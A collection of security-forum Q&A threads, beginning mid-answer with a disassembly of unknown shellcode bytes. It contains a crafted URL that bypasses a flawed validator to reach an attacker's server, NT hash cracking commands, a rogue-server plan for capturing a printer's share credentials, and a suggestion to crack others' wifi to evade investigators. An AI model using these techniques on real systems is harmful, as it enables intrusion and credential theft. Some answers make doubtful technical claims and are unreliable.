000000CB  4D                dec ebp
000000CC  05603704F0        add eax,0xf0043760
000000D1  37                aaa
000000D2  05A03805A0        add eax,0xa00538a0
000000D7  380590380590      cmp [dword 0x90053890],al
000000DD  3205404D0540      xor al,[dword 0x40054d40]
000000E3  4A                dec edx
000000E4  05403104D0        add eax,0xd0043140
000000E9  3003              xor [ebx],al
000000EB  1037              adc [edi],dh
000000ED  0590360510        add eax,0x10053690
000000F2  3003              xor [ebx],al
000000F4  1030              adc [eax],dh
000000F6  0310              add edx,[eax]
000000F8  300450            xor [eax+edx*2],al
000000FB  4C                dec esp
000000FC  05304B0530        add eax,0x30054b30
00000101  300450            xor [eax+edx*2],al
00000104  4C                dec esp
00000105  0530330530        add eax,0x30053330
0000010A  4A                dec edx
0000010B  04D0              add al,0xd0
0000010D  3004B0            xor [eax+esi*4],al
00000110  37                aaa
00000111  05403004A0        add eax,0xa0043040
00000116  3003              xor [ebx],al
00000118  60                pusha
00000119  3104B0            xor [eax+esi*4],eax
0000011C  3404              xor al,0x4
0000011E  B036              mov al,0x36
00000120  0550370570        add eax,0x70053750
00000125  3504B04A04        xor eax,0x44ab004
0000012A  C04F04C0          ror byte [edi+0x4],byte 0xc0
0000012E  4D                dec ebp
0000012F  05203505A0        add eax,0xa0053520
00000134  4E                dec esi
00000135  04C0              add al,0xc0
00000137  3005A04D0560      xor [dword 0x60054da0],al
0000013D  3504C03504        xor eax,0x435c004
00000142  C04D0580          ror byte [ebp+0x5],byte 0x80
00000146  3105A04C0500      xor [dword 0x54ca0],eax
0000014C  3005603304C0      xor [dword 0xc0043360],al
00000152  3504F03505        xor eax,0x535f004
00000157  304C05A0          xor [ebp+eax-0x60],cl
0000015B  3505903405        xor eax,0x5349005
00000160  004B05            add [ebx+0x5],cl
00000163  40                inc eax
00000164  3405              xor al,0x5
00000166  003404            add [esp+eax],dh
00000169  F03504F03405      lock xor eax,0x534f004
0000016F  50                push eax
00000170  3305904A04C0      xor eax,[dword 0xc0044a90]
00000176  37                aaa
00000177  04E0              add al,0xe0
00000179  4C                dec esp
0000017A  0550380500        add eax,0x53850
0000017F  4D                dec ebp
00000180  0500310510        add eax,0x10053100
00000185  4D                dec ebp
00000186  05404D04B0        add eax,0xb0044d40
0000018B  3003              xor [ebx],al
0000018D  50                push eax
0000018E  310500310510      xor [dword 0x10053100],eax
00000194  300460            xor [eax],al
00000197  360540300300      ss add eax,0x33040
0000019D  4E                dec esi
0000019E  05A04C04C0        add eax,0xc0044ca0
000001A3  3204B0            xor al,[eax+esi*4]
000001A6  3505503004        xor eax,0x4305005
000001AB  F0300580360500    lock xor [dword 0x53680],al
000001B2  3004E0            xor [eax],al
000001B5  4B                dec ebx
000001B6  05303004C0        add eax,0xc0043030
000001BB  360500360530      ss add eax,0x30053600
000001C1  3805303204F0      cmp [dword 0xf0043230],al
000001C7  3405              xor al,0x5
000001C9  1031              adc [ecx],dh
000001CB  0550310580        add eax,0x80053150
000001D0  3003              xor [ebx],al
000001D2  60                pusha
000001D3  3003              xor [ebx],al
000001D5  1033              adc [ebx],dh
000001D7  05703704D0        add eax,0xd0043770
000001DC  300420            xor [eax],al
000001DF  3205803504F0      xor al,[dword 0xf0043580]
000001E5  3505203204        xor eax,0x4322005
000001EA  F03003            lock xor [ebx],al
000001ED  204C0540          and [ebp+eax+0x40],cl
000001F1  4C                dec esp
000001F2  05004D04B0        add eax,0xb0044d00
000001F7  37                aaa
000001F8  05504B04C0        add eax,0xc0044b50
000001FD  310590390540      xor [dword 0x40053990],eax
00000203  3105A0370510      xor [dword 0x100537a0],eax
00000209  300460            xor [eax],al
0000020C  4C                dec esp
0000020D  0570320520        add eax,0x20053270
00000212  4B                dec ebx
00000213  0550310500        add eax,0x53150
00000218  37                aaa
00000219  05804B0510        add eax,0x10054b80
0000021E  3304F0            xor eax,[eax+esi*8]
00000221  3405              xor al,0x5
00000223  3032              xor [edx],dh
00000225  05504C0520        add eax,0x20054c50
0000022A  300440            xor [eax+eax*2],al
0000022D  4A                dec edx
0000022E  04E0              add al,0xe0
00000230  3505103405        xor eax,0x5341005
00000235  7031              jo 0x268
00000237  04F0              add al,0xf0
00000239  300480            xor [eax+eax*4],al
0000023C  4D                dec ebp
0000023D  05104C04F0        add eax,0xf0044c10
00000242  330540310590      xor eax,[dword 0x90053140]
00000248  390560380560      cmp [dword 0x60053860],eax
0000024E  3004F0            xor [eax+esi*8],al
00000251  310550300430      xor [dword 0x30043050],eax
00000257  3504C04B05        xor eax,0x54bc004
0000025C  803105            xor byte [ecx],0x5
0000025F  90                nop
00000260  300520320510      xor [dword 0x10053220],al
00000266  4D                dec ebp
00000267  0530340550        add eax,0x50053430
0000026C  3904F0            cmp [eax+esi*8],eax
0000026F  320540390540      xor al,[dword 0x40053940]
00000275  4D                dec ebp
00000276  04C0              add al,0xc0
00000278  3504B03005        xor eax,0x530b004
0000027D  204D05            and [ebp+0x5],cl
00000280  0030              add [eax],dh
00000282  0450              add al,0x50
00000284  3304F0            xor eax,[eax+esi*8]
00000287  4A                dec edx
00000288  05A0320510        add eax,0x100532a0
0000028D  4D                dec ebp
0000028E  05304E04E0        add eax,0xe0044e30
00000293  4B                dec ebx
00000294  0530310510        add eax,0x10053130
00000299  3404              xor al,0x4
0000029B  C0                db 0xc0
0000029C  3404              xor al,0x4
0000029E  F03505103905      lock xor eax,0x5391005
000002A4  90                nop
000002A5  4D                dec ebp
000002A6  05003904B0        add eax,0xb0043900
000002AB  3904B0            cmp [eax+esi*4],eax
000002AE  3605304E04E0      ss add eax,0xe0044e30
000002B4  4C                dec esp
000002B5  05A0310590        add eax,0x900531a0
000002BA  3804E0            cmp [eax],al
000002BD  4D                dec ebp
000002BE  04C0              add al,0xc0
000002C0  4D                dec ebp
000002C1  04C0              add al,0xc0
000002C3  320510380510      xor al,[dword 0x10053810]
000002C9  3003              xor [ebx],al
000002CB  0032              add [edx],dh
000002CD  0550310300        add eax,0x33150
000002D2  3005A03904F0      xor [dword 0xf00439a0],al
000002D8  4B                dec ebx
000002D9  05203104D0        add eax,0xd0043120
000002DE  330590350540      xor eax,[dword 0x40053590]
000002E4  4A                dec edx
000002E5  04D0              add al,0xd0
000002E7  37                aaa
000002E8  04F0              add al,0xf0
000002EA  4C                dec esp
000002EB  0580380500        add eax,0x53880
000002F0  3305504C0590      xor eax,[dword 0x90054c50]
000002F6  37                aaa
000002F7  0590300590        add eax,0x90053090
000002FC  37                aaa
000002FD  0580340590        add eax,0x90053480
00000302  4D                dec ebp
00000303  05703504D0        add eax,0xd0043570
00000308  4A                dec edx
00000309  05504C0590        add eax,0x90054c50
0000030E  37                aaa
0000030F  05203104D0        add eax,0xd0043120
00000314  4B                dec ebx
00000315  05204B0510        add eax,0x10054b20
0000031A  3505703005        xor eax,0x5307005
0000031F  803004            xor byte [eax],0x4
00000322  E033              loopne 0x357
00000324  05503104B0        add eax,0xb0043150
00000329  4C                dec esp
0000032A  05003904F0        add eax,0xf0043900
0000032F  3105003104C0      xor [dword 0xc0043100],eax
00000335  330570390500      xor eax,[dword 0x53970]
0000033B  3505004F04        xor eax,0x44f0005
00000340  F0300460          lock xor [eax],al
00000344  3205304D0580      xor al,[dword 0x80054d30]
0000034A  4A                dec edx
0000034B  04E0              add al,0xe0
0000034D  4A                dec edx
0000034E  04D0              add al,0xd0
00000350  4A                dec edx
00000351  05303804B0        add eax,0xb0043830
00000356  4A                dec edx
00000357  04E0              add al,0xe0
00000359  4B                dec ebx
0000035A  05                db 0x05
0000035B  00                db 0x00
0000035C  41                inc ecx

I also checked the disassembly for -b 64, however, it seemed gibberish for me. Correct me if I'm wrong here. Perhaps you can find out something from here?

For reference, the calc.exe buffer overflow shell code can be found here:

  https://www.exploit-db.com/exploits/41738/

You can also search that website for partial matches of the shell code that you have.

Also here, you can check for shell codes alone.

  http://shell-storm.org/shellcode/


How Legitimate Wifi Hotspots redirect https requests I have been looking into how https and ssl protect the user from captive portals.
If a client tries to access https://www.google.com and the hotspot does not provide a valid certificate it prevents the user from connecting.
How then do hotspots like xfinitywifi redirect all requests, https or not, to their login page? They have a certificate for wifi.xfinity.com but not for google so shouldn't the browser not connect?
EDIT: The answers below are very informative and I have learned a lot but I still do not understand this aspect: in my case with Xfinity hotspots the user does not have to ignore a warning because there is none.
It seamlessly transfers https sites to its own login site without warnings. I know that the test site that I go to is https. Why is this?

Most of them just use their own hotspot certificate and hope the users click through the warning and connect anyway. Personally when I see such a warning and I know it's a captive portal I cancel the request and type in an HTTP URL I do not care about such as http://redirect.me.away and let the portal do its thing over HTTP. Once logged in, I retry my HTTPS request which now works.

Most of the time, I avoid them though - filling up their stupid signup forms isn't worth my time, especially given the often poor connection they offer. Maybe one day we'll have an EAP-Enterprise hotspot network where you register once and then your device connects automatically with an username/password and it all operates seamlessly in the background.


How to find out what vulnerabilities X product has had/has? Canonical question regarding the best way of obtaining information on what vulnerabilities X product has had/has. Other identical or significantly similar questions should be closed as a duplicate of this one. This is as per Schroeders suggestion in the following How should questions be handled that are part on-topic and part off-topic?

What is the most effective / best method for obtaining information in regards to what vulnerabilities X device has or has had?
Is there anything else I can do short of checking the security advisories page?
What if there is no security advisory page where else can I go?
What are some good resources I can use to find such vulnerabilities?

What is the most effective / best method for obtaining information in
  regards to what vulnerabilities X device has or has had?

Checking the vendor's security advisories page is always a good start, anything they know about will usually go on there. As an example, here is a link to the Cisco Security Advisories page.

  Is there anything else I can do short of checking the security advisories page?

Yes, there is. For example, any "major" vulnerabilities will be assigned a CVE these will also be very helpful in identifying whether or not a specific product has X vulnerability or not. A good resource for this is CVE Details

  What if there is no security advisory page where else can I go?

If there isn't a security advisory on the vendor page then a few things could be applicable.

The vendor doesn't yet know if they are affected.
They're not aware of the vulnerability.
They aren't affected.

What should you do in this scenario? A good idea would be to contact the Vendors support teams. Going back to the Cisco example you could use Cisco TAC. This would be applicable to all vendors, if there is no public information on the device in question your best chance is to contact their support teams and find out.

If they are not aware of the vulnerability it would be a good idea to inform them of the issue, especially if you found it whilst doing some digging and it appears obscure. If you cannot find any resources from the vendor themselves (whether they know about it or not) inform them, I can almost safely say it will help. In the Cisco example, you could contact Product Security Incident Response Team

  What are some good resources I can use to find such vulnerabilities?

There are a lot of websites you can use other than the ones mentioned, the two below might also be helpful as mentioned by @Elsadek.

SecurityFocus
ExploitDB

You could also use CVE checkers as mentioned by @Forest.

CVECheck-Tool
CVEChecker

Another idea might be to subscribe to a security mailing list like the one below originally mentioned by @Forest.

Open Source Security Mailing List

This specifically is quite generalised however there are ones you could use which are more specific, as I mentioned earlier you could subscribe to Ciscos for example.


Is there an explicit standard for protected health info security similar to the one for the Payment Card Industry (PCI)? See the following for dealing with credit information:

https://www.pcisecuritystandards.org/security_standards/

Does a similar standard exist for PHI? Is one being developed?

HIPAA describes (at a high level) some policies to follow, and the HITECH legislation further defines some of those provisions. You can look at the Wikipedia HIPAA article for more details on those provisions.

These provisions are required in the USA, I'm not sure about other countries. There is not a global standard, like PCI, as healthcare tends to be dealt with differently based on country.


How many bits of security does a hash as a verifier provide? Let's say I have a binary string s, that is generated by a cryptographically secure random byte generator, and a hash function SHA-256.
I am using the hash h=sha256(s) as a one-time password verifier and send it to the server, how many bits of security does this provide?
I guess the question is how easy it is to find a preimage of h, and the security margin from sha256 seems to be 2^254.9 according to Wikipedia, am I correct in that assumption?
Does anything change if 256 bits of a 512-bit string are already known? Does this make it easier to find a preimage?

The security of this approach is 2^256, or the entropy of the input, whichever is smaller.  The preimage security of SHA-256 is 2^256 (note that the attack you linked to is on a reduced-round version, so it's not applicable to the full SHA-256).  However, if your input s contains less than 256 bits of entropy, then it would be easier to search the input domain, and your scheme would have as much security as the entropy in s.  That could be the case if you used a 128-bit s, for example.
If s is a 512-bit string and 256 bits are known, then the security is still 2^256, since it has 256 unknown bits.


Is using a ja3 hash worth it? I've been reading about ja3 and ja3s hashes, and although it certainly is a way to address suspicious traffic detection in encrypted traffic it still is, at least in my opinion, a static approach. It does not much differ from the "traditional" deep-packet-inspection signature-based approach. We still maintain a database of malicious ja3 hashes (same as signatures) and ja3 hashes can overlap (so they still introduce false positives).

JA3 gathers the decimal values of the bytes for the following fields in the Client Hello packet SSLVersion,Cipher,SSLExtension,EllipticCurve,EllipticCurvePointFormat, so are there any reasons why an attacker could not or even would not change those values (even for a known malicious application) to look like a Chrome browser?

If the hash is only used by itself to distinguish between malicious and non-malicious applications then it is probably not very effective since as you've said already hashes from various applications are overlapping which means that one gets either false positives or false negatives.

But the hash might be used in context with other features, like the domain name (from SNI), the behavior of the traffic flow (packet sizes, timing), other hashes usually used (i.e. something emulating the fingerprint of Chrome will stand out if the user is usually using Firefox) etc. Insofar it might be a useful feature in some anomaly detection system which is looking for traffic which does not match the usual behavior.


Securely erase data from a flash drive vs hard disk I'm studying for an exam, that's why I don't need software for that purpose (which is what other questions I found on this topic provide) but an explanation.

The concrete questions I'm trying to answer are:

How can data securely be delete from a flash drive? What is the difference to deleting securely from a hard disk?

So far I thought the most secure way for both would be to overwrite the data (or physically destroy it), but considering these questions I assume the procedure is not the same.

It all depends on the OS you're using and the firmware used inside your SSD. There are two problems, frequently occurring.

When using windows, it has a function called Volume Shadow Copy Service (VSS). What this does, is keeping an extra copy of every file (indexed) on a different part of your "disk". If you're using cheap "secure" deletion software that doesn't recognize VSS, that may only deletes the main copy, so that there could be extra copies present on your disk.
Now, as you noticed, I didn't specify above what that disk was, but if it's an SSD that is emulating a normal HD, there is an additional problem. This is because SSD's cannot erase partial file blocks, only whole blocks, so every time you make a small change to a file, it just copies that/those block(s) to a new one and only deleting the inode of those blocks. This means that the data is still there after deletion, unless you issue the SSD a 'secure delete' command. However, this in turn depend on how well that is supported in both your OS and the SSD firmware.

Normally it should be enough with 1-2 over-write passes to securely delete anything, given that you are re-formatting the entire disk or those parts containing data. One method for accomplishing this is by formatting any disk with 0's and when erasing files, looking for non-zero regions, not part of an inode tree and write random data to those locations. Low Level Format!


Bypassing URL verification I'm dealing with a URL validation function that was made by the developer (instead of using trusted methods).

Here is a slightly modified version of the function:

    public static bool IsValidURL(string url) {
        string parsedurl = url.ToLower().Substring(8, url.IndexOf("/", 8) - 8);
        return url.StartsWith("https") && parsedurl.EndsWith("example.com");
    }

I need this function to return true for a URL string I supply and the URL must also be compatible with C#'s WebClient. My goal is to have it to connect to my own web server, any ideas?

I think this will make it pass

https://compromised.server.com?example.com/

As long as example.com/ is at the end of the URL and there are no other slashes, you can add as many query parameters as you want with other data.


John the Ripper Brute Force not working (Windows Hash) I'm pentesting for a class in Kali Linux, cracking a Windows 7 password. I mounted the windows' hard drive in Kali, ran PWDUMP7 and got the hashes saved on the desktop. It's only showing some of the users, but not any that I created for testing...that's another issue by itself. The default system admin 'IEUser' should at least work, right?

I isolated that hash into a single line .txt:
IEUser:1000:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::

When I run JtR in Wordlist mode, it cracks the password easily off the word list ('1234'). When I run it in Brute force mode using the following:

    cd /usr/share/john
    john ~/Desktop/samhash.txt -format=nt -user=IEUser

The result is:

    Using default input encoding: UTF-8
    Rules/masks using ISO-8859-1
    Loaded 1 password hash (NT [MD4 128/128 AVX 4x3])
    Press 'q' or Ctrl-C to abort, almost any other key for status
    password         (IEUser)
    1g 0:00:00:00 DONE 2/3 (2018-01-31 09:47) 16.66g/s 15033p/s 15033c/s 15033C/s 123456..qwerty
    Use the "--show" option to display all of the cracked passwords reliably
    Session completed

It appears to not even run, and using "Show" even says that it wasn't cracked. I have absolutely no idea what's going on with this, and nobody else seems to have this problem that I can see...What am I missing?

====

Edit: It was working correctly, "password" was the password, I just didn't understand the UI.

As best as i can figure, you are mistaken about what you expect. John finished quickly because it successfully cracked the password you requested. The rest is just error in using john --show as far as i can tell. I repeated your steps as follows:

echo "IEUser:1000:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::" > ./Desktop/hash

Then we will start a normal cracking session, which will use a default wordlist.

root@oscpre:~/Desktop# john hash -format=nt -user=IEUser
Using default input encoding: UTF-8
Rules/masks using ISO-8859-1
Loaded 1 password hash (NT [MD4 128/128 AVX 4x3])
Press 'q' or Ctrl-C to abort, almost any other key for status
password         (IEUser)
1g 0:00:00:00 DONE 2/3 (2018-01-31 14:16) 20.00g/s 18040p/s 18040c/s 18040C/s 123456..qwerty
Use the "--show" option to display all of the cracked passwords reliably
Session completed

The line password (IEUser) identifies a cracked password for user IEUser. The password is "password". We can check this by reversing the process using openssl to get the nt hash of "password".

root@oscpre:~/Desktop# printf '%s' "password" | iconv -t utf16le | openssl md4
(stdin)= 8846f7eaee8fb117ad06bdd830b7586c

We indeed see it matches our original input in hash.txt. Now we will show all cracked passwords for john in the format of nt using our pot file (the record john keeps of cracked passwords during sessions)

root@oscpre:~/Desktop# john hash --pot=../.john/john.pot -format=nt --show
IEUser:password:1000:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::

1 password hash cracked, 0 left

We see IEUser listed here with the password appended before the uid.
All seems to be well?


How to capture all traffic from a new device? I have a new IoT type of device that requires a wifi connection to work. I have no use for the device but I'd like to poke around it and learn more about it.

How should I go about intercepting every packet that goes in and out of the IoT device? Should I use WireShark and connect to the same wifi the device will be using or should I do a MiTM attack?

What are the differences between the WireShark approach and the MiTM approach?

As MadWard 4 mentioned you can't decrypt the SSL without the private key but sadly most of the IoT devices out there don't use encryption so depending on your device you may in fact be able to see everything anyway and if nothing else you can learn things about where the device is communicating to and its frequency of communication even if SSL is present.

If it's an option I would recommend having a computer act as a wireless access point / router / ad-hoc network and then connect the IoT device to that computers WiFi interface and run wireshark or tshark on that computers wireless interface. The reason for this is you would be in a better place to capture all of the wireless traffic.


Short Lived Email account for VPN signup I'm curious about how the process of signing up for a VPN service with a short lived 'disposable' email address would work.

Firstly, what benefit (if any) is there to creating the account anonymously?

Is there ever any need for a VPN service to communicate with a user? And how does account renewal work if original email account doesn't exist anymore? I'm assuming the user would just signup for a new account as opposed to renewing?

I'm also curious to know what the situation is if your VPN provider hands your IP address along with timestamps to an authority investigating certain activity. If the user has paid for the service with bitcoin or a prepaid card etc. and have signed up with a disposable email, I assume the user is still accountable for any activity from their IP address or how does that work?

"Accountability" will not change - you are still accountable for your activity. But, by doing what you mentioned (anonymous payment, disposable email), it will be very difficult for the investigators to "attribute" your activity to you through the administrative information provided to them by the VPN provider if you also obfuscate your IP by constantly changing your IP (hoping from one free wifi to another), piggy-backing on another's IP (cracking someone's wifi network) or something similar. Without obfuscating your IP, investigators can easily trace your activity through the VPN provider and your ISP.

But that's just the VPN provider's side. Authorities have other ways to attribute your activity to you other than the administrative details from the VPN provider. Browser fingerprinting comes to mind as well as other information that can be gleaned or aggregated to point to you.


Is it possible to digitally sign information with a password? I'm creating a cloud storage service and need to have the ability to provide reliable security for clients. In my previous question, I used a different schematic and said I would post a new question.

I'm still trying to achieve security against the NSA and the possibility of legal issues. I would like to have my users encrypt their files before sending them to my servers. I will use AES-256 and the key will be created by hashing the user's password 1,048,576 (2^20) times to avoid brute force attempts.

The issue is that anyone can upload files, delete files, or modify them this way. I need to be able to verify the password, but at the same time, not expose it to the server. I was wondering if the password could be use to sign the information sent to the server, to not only verify the identity of the user, but also prevent tampering of the contents during transportation. What is the best way to do this without exposing the password or its hash?

Hashing multiple times to slow down brute-forcing is a bad idea, because each time you hash you reduce entrophy and thus makes incidental collisions more likely. When you intentionally want to slow down hash calculation, use an algorithm with an adjustable complexity, like bcrypt.

When you want to make sure that a message is 1. from the user you expect it to come from and 2. wasn't tampered with, you need to use a cryptographic signature. A cryptographic signature can be created by creating a hash of the message and then encrypting that hash with the private key of the sender. The receiver can then calculate the hash of the message it receives, decrypt the alleged hash with the public key of the sender, and verify that the hashes match. The security comes from the fact that it is impossible to forge a matching hash without knowing the private key of the sender.

But how do you obtain the public key of the sender? Either you received it beforehand on a more trustworthy channel. Or you get a trusted 3rd party to cryptographically sign the senders public key with their private key. Some trustworthy "certificate authority" you can rely on that they verified the identity of your communication partner properly. And congratulation, you just reinvented TLS.

"But what about the password"? Well, at some point in the past, your server must have received the password. Or the hash of the password. Or the hash of the hash of the password. The password is just like the public key of the user. How do you know this first time your received this wasn't tampered with? You can't. No cryptographic system works without having verified the identity of one of the communication partners at some point in the past, either directly or via a certificate chain.


Get login password from network device Scenario:

Network printer "Scan To Shared Folder" feature.
Network printer IP address: 192.168.0.10

Network printer "Scan To Shared Folder" details:
Network path: \\192.168.0.155\Folder\Subfolder
Login username: aficio
Password:****** Retype Password:******

Based on what stated above, my guessing is that on the 192.168.0.155 host there's certailny an account called aficio

Further details:

Attacker can access the network printer admin web panel

Attacker cannot access host 192.168.0.155

Attacker wants to get aficio's password

Questions:

Would it be possible to retrieve the user aficio's password through PRET (Printer Exploitation Toolkit) or any other software able to interact with the network printer?

I mean, am I right in saying that aficio's password is actually somewhere on the network printer filesystem?

Is network sniffing a valid alternative in order to get the password? I don't think so, since I believe aficio'credentials will reach the
endpoint (192.168.0.155) through SSL
Is that correct?

Any help will be highly appreciated

You didn't provide details about the physical security, the network infrastructure, the printer itself, printer connectivity, the network share... It is hard to say.

PRET can be used if there is exploitable vulnerability on the printer and you have a direct network access to it. And you are correct, the password will be there, that is for sure. Maybe encrypted, maybe not, it can take some time to find it there, but yes, it is there.

MITM would not probably work if the share is not unprotected FTP. I suppose it is windows (or SMB) share.

What about another attack scenario? It presumes you have physical access to the printer and to its cabling. But you must be lucky with so many things in this case...

What about unplugging the printer from the network it is connected to (if it is well configured wifi with VLANs you are lost, if there is ethernet with properly configured 802.1x without fallback allowed on printer side, you are lost, if there is mutual authentication or share server certificate validation you are lost, if the printer is loading configuration, contacts or something else from netwokr server, you are lost), connect it to "attacker network" and make it think the host on 192.168.0.155 is the one he is really looking for while it will be a machine controlled by you with your software installed so once it tries to authenticate you can capture the authentication protocol packets unencrypted directly on that machine. If you will be lucky the clear text password will be sent (what I would not hope for). You will probably get some kind of maybe salted, maybe not salted hash you can use to authenticate somewhere else in the network or you can try to bruteforce a password against it using rainbow tables.


Mitigating DDOS in P2P systems In P2P systems where performance and response times are critical individual clients are susceptible to DDOS by publicly exposing their IPs. While there are various mitigation solutions available at ISP level or with paid for VPNs (e.g. for pro e-sports enthusiasts) these are not readily affordable by casual users or small indie developers.

Any suggestions or advice on the latest research in this area?

A potential solution could be to rely on intermediary servers and don't allow P2P communication for untrusted clients.

Let's say it's a chat program (like Skype), the client at the same time becomes an intermediary server on the network and is able to relay data between other clients.

For someone to contact you, he first must look up the IP of the intermediary node(s) you are connected to (through a DHT or something similar) and then send everything they want to say to you to that node, which will relay it to you. No possibility of DoS here as bringing down the node won't do any good and your client will immediately reconnect to a different one.

Once that data reaches you (through the intermediary), let's say it was a contact/chat request and you accepted it. At this point, you trust that person to not do anything malicious and give them your IP (through the intermediary as always), and then he connects directly to you. Also, if it was a contact request, your client also saves their public key which means the next time the person goes online this entire process will be done automatically and your client will give them your IP right away (through an intermediary as always).

This can eventually be thwarted by flooding the network with malicious clients (which will act as intermediary nodes but won't respect the confidentiality of other node's IPs) but once the software gets popular and there are enough legitimate nodes it'll be very hard to do that (think about a sybil attack on Tor).


DNS Poisoning? Unable to access a specific website Below are the DNS servers that I have been using for many years:

84.200.69.80 DNS Watch (Hostname: resolver1.ihgip.net  ISP: Accelerated IT Services GmbH)
91.239.100.100 Uncensored DNS (IP: 130.225.244.166  Hostname: deic-lgb.anycast.censurfridns.dk  ISP: Danmarks Tekniske Universitet)
85.214.20.141 Foebud (Hostname: h1768020.stratoserver.net  ISP: Strato AG)
82.141.39.32 OpenNIC (DE) (Hostname: quaternary.server.edv-froehlich.de  ISP: KAMP Netzwerkdienste GmbH)
82.196.9.45  OpenNIC (NL) (Hostname: none ISP: Digital Ocean)

I used to be able to access the website pressreader.com in the past until recently. About a month ago, if I typed www.pressreader.com directly into my browser, the website would be inaccessible. (Note: I have no problem accessing other websites at all.)

I now use one of the workarounds below:

Method #1

a. launch a search engine like Google or DuckDuckGo
b. type "pressreader climate change" (without quotes) or any phrase that includes pressreader as one of the words
c. from the list of the results of the search, click on any result that has the word Pressreader

Method #2

Use a VPN (free or paid service) to access Pressreader

Method #3

Change my existing DNS servers to either Google's, OpenDNS' or those provided by my ISP

8.8.8.8 Google
8.8.4.4 Google

208.67.222.222 OpenDNS
208.67.220.220 OpenDNS

Additional info:

I only read news on pressreader.com at home. My home computer is connected to the modem (provided by my ISP).

Am I right to believe that the DNS servers that I have been using all this while have been poisoned?

Per Moonsik Park's suggestion

I typed nslookup -query=any pressreader.com in a terminal/console and below are the results:

username@hostname:~$ nslookup -query=any pressreader.com
;; Truncated, retrying in TCP mode.

Non-authoritative answer:
Name:   pressreader.com
Address: 107.154.111.111
Name:   pressreader.com
Address: 107.154.103.111
pressreader.com nameserver = ns2.newspaperdirect.com.
pressreader.com nameserver = ns3.newspaperdirect.com.
pressreader.com
    origin = ns2.newspaperdirect.com
    mail addr = hostmaster1.newspaperdirect.com
    serial = 1018
    refresh = 900
    retry = 600
    expire = 86400
    minimum = 3600
pressreader.com mail exchanger = 20 ndmail.newspaperdirect.com.
pressreader.com mail exchanger = 10 adab.pressreader.com.
pressreader.com text = "ZA=4CgDvbUCl3GAgI0vDd2dKw=="
pressreader.com text = "globalsign-domain-verification=EDgZxi7787wPfMQiYBv6Ozzb_TN1aizyNzGX4ivO98"
pressreader.com text = "_globalsign-domain-verification=wFqJgfjXebcCp5uT9zGMgShVZ2CoKeUUW-oyud5cO1"
pressreader.com text = "globalsign-domain-verification=3c-6TB-cG8LBvkfkOGKMCjIEzTjuPaL-U1mJ_PjnNe"
pressreader.com text = "MS=A8AD5E10FE533C17EDA5293095360D727A967AAA"
pressreader.com text = "cloudflare-verify 189356383-34794676"
pressreader.com text = "v=spf1 mx ip4:204.50.102.44 ip4:204.50.102.26 ip4:204.50.102.50 ip4:204.50.102.246 ip4:208.181.59.34 ip4:208.181.59.36 ip4:208.181.59.39 ip4:208.181.59.253 include:sendgrid.net include:mail.zendesk.com include:servers.mcsv.net -all"
pressreader.com text = "MS=ms36475603"
pressreader.com text = "globalsign-domain-verification=AtQ1zLCdH6JdJ_bs3f2aP9sBShOfzhFCCTJ8tfwk9j"

Authoritative answers can be found from:
adab.pressreader.com    internet address = 207.34.140.7

Next, I accessed www.centralops.net/co and typed pressreader.com. The results provided the same details as those obtained by performing a local nslookup query.

Finally I typed 107.154.111.111 into my browser and clicked Go. Below is the response:

107.154.111.111 - Resolving failed

Error code 22

The proxy failed to resolve site from host name, if this site was recently added please allow a few minutes before trying again.

DNS Poisoning happens when DNS queries are modified by attacker's needs.

To check whether your DNS queries are poisoned, you can check with the following steps.

Run nslookup <target site>
Google online nslookup and do an online nslookup.

If your local nslookup does not match with various online nslookup results, it is highly likely that your DNS queries are monitored and modified on the fly.

If your government or ISP is monitoring the DNS, it is likely that you can't benefit from using 8.8.8.8 or 1.1.1.1 because DNS queries are not encrypted and it can be directly modified from the ISP before even reaching the target DNS server.

To mitigate this, you can encrypt DNS queries using DNS Over TLS/HTTPS or use Tor or VPN. Note that if you don't set up your VPN correctly you might leak your DNS queries.


Increase the security of an already stored password hash Right now we're using 1024 byte PBKDF2 with 256 byte user-specific salt and variable iterations. However, I would much prefer to be able to, perhaps once every year or two, to be able to flat out increase the rounds used in the algorithm. Neither BCrypt or PBKDF2 allow that, so...

Should I just forget about it, or implement our own version of recursive function that uses SHA512/256? The idea here is to take the password, append salt, hash, take the hash, append salt, hash, take THAT hash, append salt, hash... repeat ad nauseum.

... Or should we just make the system rehash the password with new amount of rounds once a year when user logs in?

Building your own algorithm is never a good idea. Even trained cryptographers, i.e. the people who toiled for years in the dark tunnels of academia and the battlefields of scientific congress, will resort to such inventiveness only when everything else has failed; and even then, they prefer to suggest schemes to be validated by their ferocious peers, certainly not to be deployed in production right away. Most of academic training is about acquiring an intuitive knowledge of the dangers of one's field.

Designing your algorithm is like tap-dancing in a minefield.

Nevertheless, the impossibility to simply extend the number of iterations of a stored hash, beginning with the hash value itself, is a known defect of the usual candidates (PBKDF2, bcrypt and scrypt). If you have to live with it, you could try the scheme described there, but I explicitly deny that security would be increased that way. My training and years of experience in the field allow me to state with some confidence that the extra hashing rounds I suggest would not decrease security.

In the future, things will be better because a new open competition for password hashing algorithms has been launched, using the model of the previous AES, eSTREAM and SHA-3 competitions. Submissions are due for the end of January 2014. A portfolio of "good algorithms" will be obtained by mid-2015, according to the provisional timeline. The call for submissions explicitly includes the following desired functionality:

  Ability to transform an existing hash to a different cost setting without knowledge of the password.

So we can hope for a solution to your problem in a bit more than two years. Only two years, that's really fast by cryptographic design standards.

In the mean time, you will have to resort to the usual arrangement of waiting for the users to log in so that their password can be rehashed with more iterations. Most users who have not logged in for more than one year have probably forgotten their password anyway.


How to set password on applications in Mac OS to prevent an administrator to start them? Is there any program that can set password on the app like mail or browser? I know about parent control, but I doesn't work with administrator account.

What I want is some program that blocks some apps from launching with popup password window.

By definition, an administrator account can do anything. If you want to prevent someone from running some applications, don't give them an administrator account.


How much does disabling JavaScript restrict browser fingerprinting? According to EFF's Panopticlick web browser fingerprinting test canvas & WebGL fingerprinting require JavaScript and (at least) screen size, color depth, browser plugins, time zone, language, system fonts, platform and touch support are detected via JavaScript.

Newly discovered  "cross-browser fingerprinting" appears to  rely on JavaScript.

What identifying browser characteristics can be detected without JS and how much information they provide?

Without Javascript, the server can only use the remote IP address and the standard HTTP headers. From those, the most informative are:

User-Agent: the browser shows its identification here
Accept or Accept-Language: the browser declares its prefered language
Accept or Accept-Encoding: the browser declares its supported encoding or compression

